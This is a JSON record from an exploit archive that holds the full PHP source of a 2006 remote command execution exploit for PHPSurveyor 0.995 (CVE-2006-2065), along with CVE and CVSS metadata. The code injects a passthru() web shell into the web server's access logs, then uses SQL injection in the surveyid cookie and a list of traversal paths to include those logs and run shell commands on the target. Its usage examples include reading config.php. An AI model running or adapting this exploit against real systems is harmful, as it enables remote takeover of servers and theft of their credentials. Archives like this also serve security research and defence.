{"exploit":{"id":"EDB-1701","name":"PHPSurveyor 0.995 - 'surveyid' Remote Command Execution","description":"PHPSurveyor 0.995 - 'surveyid' Remote Command Execution","cves":["CVE-2006-2065"],"author":"rgod","published":"2006-04-20","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1701","path":"exploits/php/webapps/1701.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1701.php","vulnerabilities":[{"id":"CVE-2006-2065","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in save.php in PHPSurveyor 0.995 and earlier allows remote attackers to execute arbitrary SQL commands via the surveyid cookie. NOTE: this issue could be leveraged to execute arbitrary PHP code, as demonstrated by inserting directory traversal sequences into the database, which are then processed by the thissurvey['language'] variable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2065","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2065"},"updatedAt":"2024-08-07T17:35:31.130Z","retrievedAt":"2026-11-26T18:10:37.784Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1701.png?v=2","url":"https://exploitbin.com/exploits/EDB-1701","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1701/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1701/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/php -q -d short_open_tag=on\n<?\necho \"********************************************************************\\r\\n\";\necho \"* PHPSurveyor <= 0.995 'save.php/surveyid' remote cmmnds xctn      *\\r\\n\";\necho \"* by rgod rgod@autistici.org site: http://retrogod.altervista.org  *\\r\\n\";\necho \"* a special tnX goes to Frozen for his dork!                       *\\r\\n\";\necho \"* and a thanks to all people of johnny.ihackstuff.com!!            *\\r\\n\";\necho \"* site: http://retrogod.altervista.org                             *\\r\\n\";\necho \"* -> works regardless of magic_quotes gpc settings                 *\\r\\n\";\necho \"*    with at least one row in 'surveys' table                      *\\r\\n\";\necho \"*    and if we succeed to include logs                             *\\r\\n\";\necho \"********************************************************************\\r\\n\";\n\nif ($argc<4) {\necho \"Usage: php \".$argv[0].\" host path cmd OPTIONS\\r\\n\";\necho \"host:      target server (ip/hostname)\\r\\n\";\necho \"path:      path to PHPSurveyor\\r\\n\";\necho \"cmd:       a shell command\\r\\n\";\necho \"Options:\\r\\n\";\necho \"   -p[port]:    specify a port other than 80\\r\\n\";\necho \"   -P[ip:port]: specify a proxy\\r\\n\";\necho \"Examples:\\r\\n\";\necho \"php \".$argv[0].\" localhost /surveyor/ cat config.php\\r\\n\";\necho \"php \".$argv[0].\" localhost /surveyor/ ls -la -p81\\r\\n\";\necho \"php \".$argv[0].\" localhost / ls -la -P1.1.1.1:80\\r\\n\";\ndie;\n}\n\nerror_reporting(0);\nini_set(\"max_execution_time\",0);\nini_set(\"default_socket_timeout\",5);\n\nfunction quick_dump($string)\n{\n  $result='';$exa='';$cont=0;\n  for ($i=0; $i<=strlen($string)-1; $i++)\n  {\n   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\n   {$result.=\"  .\";}\n   else\n   {$result.=\"  \".$string[$i];}\n   if (strlen(dechex(ord($string[$i])))==2)\n   {$exa.=\" \".dechex(ord($string[$i]));}\n   else\n   {$exa.=\" 0\".dechex(ord($string[$i]));}\n   $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\n  }\n return $exa.\"\\r\\n\".$result;\n}\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\nfunction sendpacketii($packet)\n{\n  global $proxy, $host, $port, $html, $proxy_regex;\n  if ($proxy=='') {\n    $ock=fsockopen(gethostbyname($host),$port);\n    if (!$ock) {\n      echo 'No response from '.$host.':'.$port; die;\n    }\n  }\n  else {\n\t$c = preg_match($proxy_regex,$proxy);\n    if (!$c) {\n      echo 'Not a valid proxy...';die;\n    }\n    $parts=explode(':',$proxy);\n    echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\n    $ock=fsockopen($parts[0],$parts[1]);\n    if (!$ock) {\n      echo 'No response from proxy...';die;\n\t}\n  }\n  fputs($ock,$packet);\n  if ($proxy=='') {\n    $html='';\n    while (!feof($ock)) {\n      $html.=fgets($ock);\n    }\n  }\n  else {\n    $html='';\n    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\n      $html.=fread($ock,1);\n    }\n  }\n  fclose($ock);\n  #debug\n  #echo \"\\r\\n\".$html;\n}\n\n$host=$argv[1];\n$path=$argv[2];\n$cmd=\"\";$port=80;$proxy=\"\";\n\nfor ($i=3; $i<=$argc-1; $i++){\n$temp=$argv[$i][0].$argv[$i][1];\nif (($temp<>\"-p\") and ($temp<>\"-P\"))\n{$cmd.=\" \".$argv[$i];}\nif ($temp==\"-p\")\n{\n  $port=str_replace(\"-p\",\"\",$argv[$i]);\n}\nif ($temp==\"-P\")\n{\n  $proxy=str_replace(\"-P\",\"\",$argv[$i]);\n}\n}\n$cmd=urlencode($cmd);\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\n\necho \"[1] Injecting some code in log files ...\\r\\n\\r\\n\";\n$CODE=\"<?php echo 56789;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\\$COOKIE[cmd]=stripslashes(\\$COOKIE[cmd]);}passthru(\\$_COOKIE[cmd]);die;?>\";\n$packet=\"GET \".$p.$CODE.\" HTTP/1.0\\r\\n\";\n$packet.=\"User-Agent: \".$CODE.\" Googlebot/2.1\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Connection: close\\r\\n\\r\\n\";\nsendpacketii($packet);\nsleep(3);\n\n//fill with possible locations...\n$paths=array(\n\"../../../../../../../../../../var/log/httpd/access_log\",\n\"../../../../../../../../../../var/log/httpd/error_log\",\n\"../apache/logs/error.log\",\n\"../apache/logs/access.log\",\n\"../../apache/logs/error.log\",\n\"../../apache/logs/access.log\",\n\"../../../apache/logs/error.log\",\n\"../../../apache/logs/access.log\",\n\"../../../../apache/logs/error.log\",\n\"../../../../apache/logs/access.log\",\n\"../../../../../apache/logs/error.log\",\n\"../../../../../apache/logs/access.log\",\n\"../../../../../../apache/logs/error.log\",\n\"../../../../../../apache/logs/access.log\",\n\"../logs/error.log\",\n\"../logs/access.log\",\n\"../../logs/error.log\",\n\"../../logs/access.log\",\n\"../../../logs/error.log\",\n\"../../../logs/access.log\",\n\"../../../../logs/error.log\",\n\"../../../../logs/access.log\",\n\"../../../../../logs/error.log\",\n\"../../../../../logs/access.log\",\n\"../../../../../../logs/error.log\",\n\"../../../../../../logs/access.log\",\n\"../../../../../../../../../../etc/httpd/logs/acces_log\",\n\"../../../../../../../../../../etc/httpd/logs/acces.log\",\n\"../../../../../../../../../../etc/httpd/logs/error_log\",\n\"../../../../../../../../../../etc/httpd/logs/error.log\",\n\"../../../../../../../../../../var/www/logs/access_log\",\n\"../../../../../../../../../../var/www/logs/access.log\",\n\"../../../../../../../../../../usr/local/apache/logs/access_log\",\n\"../../../../../../../../../../usr/local/apache/logs/access.log\",\n\"../../../../../../../../../../var/log/apache/access_log\",\n\"../../../../../../../../../../var/log/apache/access.log\",\n\"../../../../../../../../../../var/log/access_log\",\n\"../../../../../../../../../../var/www/logs/error_log\",\n\"../../../../../../../../../../var/www/logs/error.log\",\n\"../../../../../../../../../../usr/local/apache/logs/error_log\",\n\"../../../../../../../../../../usr/local/apache/logs/error.log\",\n\"../../../../../../../../../../var/log/apache/error_log\",\n\"../../../../../../../../../../var/log/apache/error.log\",\n\"../../../../../../../../../../var/log/access_log\",\n\"../../../../../../../../../../var/log/error_log\"\n);\n\n\nfor ($i=0; $i<=count($paths)-1; $i++)\n{\n$a=$i+2;\n\n//bypassing magic_quotes=On encoding paths with CHAR() MySQL func\n$mysql_encoded=\"CHAR(\";\n  for ($j=0; $j<=strlen($paths[$i])-1; $j++)\n  {\n   $mysql_encoded.=ord($paths[$i][$j]);\n   if ($j==strlen($paths[$i])-1)\n   {$mysql_encoded.=\",0)\";} //a null char to break inclusion path, encoded as CHAR(0)\n   else\n   {$mysql_encoded.=\",\";}\n  }\n\n$SQL=\"999 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\".$mysql_encoded.\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM surveys\";\necho \"[\".$a.\"] Trying with -> - \".$SQL.\" - for \\\"surveyd\\\" argument\\r\\n\\r\\n\";\n$SQL=urlencode($SQL);\n$packet =\"GET \".$p.\"save.php HTTP/1.0\\r\\n\";\n$packet.=\"User-Agent: GoogleBot/2.1\\r\\n\";\n$packet.=\"Host: \".$host.\"\\r\\n\";\n$packet.=\"Cookie: surveyid=$SQL; cmd=\".$cmd.\";\\r\\n\"; //let's poison the thissurvey['language'] value, thorugh cookies, log this :)\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\n#debug\n#echo quick_dump($packet);\nsendpacketii($packet);\nif (strstr($html,\"56789\"))\n    {\n     echo \"Exploit succeeded...\\r\\n\";\n     $temp=explode(\"56789\",$html);\n     die($temp[1]);\n    }\n}\n//if you are here...\necho \"Exploit failed...\";\n?>\n\n# milw0rm.com [2006-04-20]","sha256":"7a351a088ee8671ca9c3f365bc052a1cb0cc43c61cb05b715a7bc364ef343625","bytes":7135,"fetchedAt":"2026-11-26T18:10:37.558Z","encoding":"utf-8 (display only; download retains original bytes)"}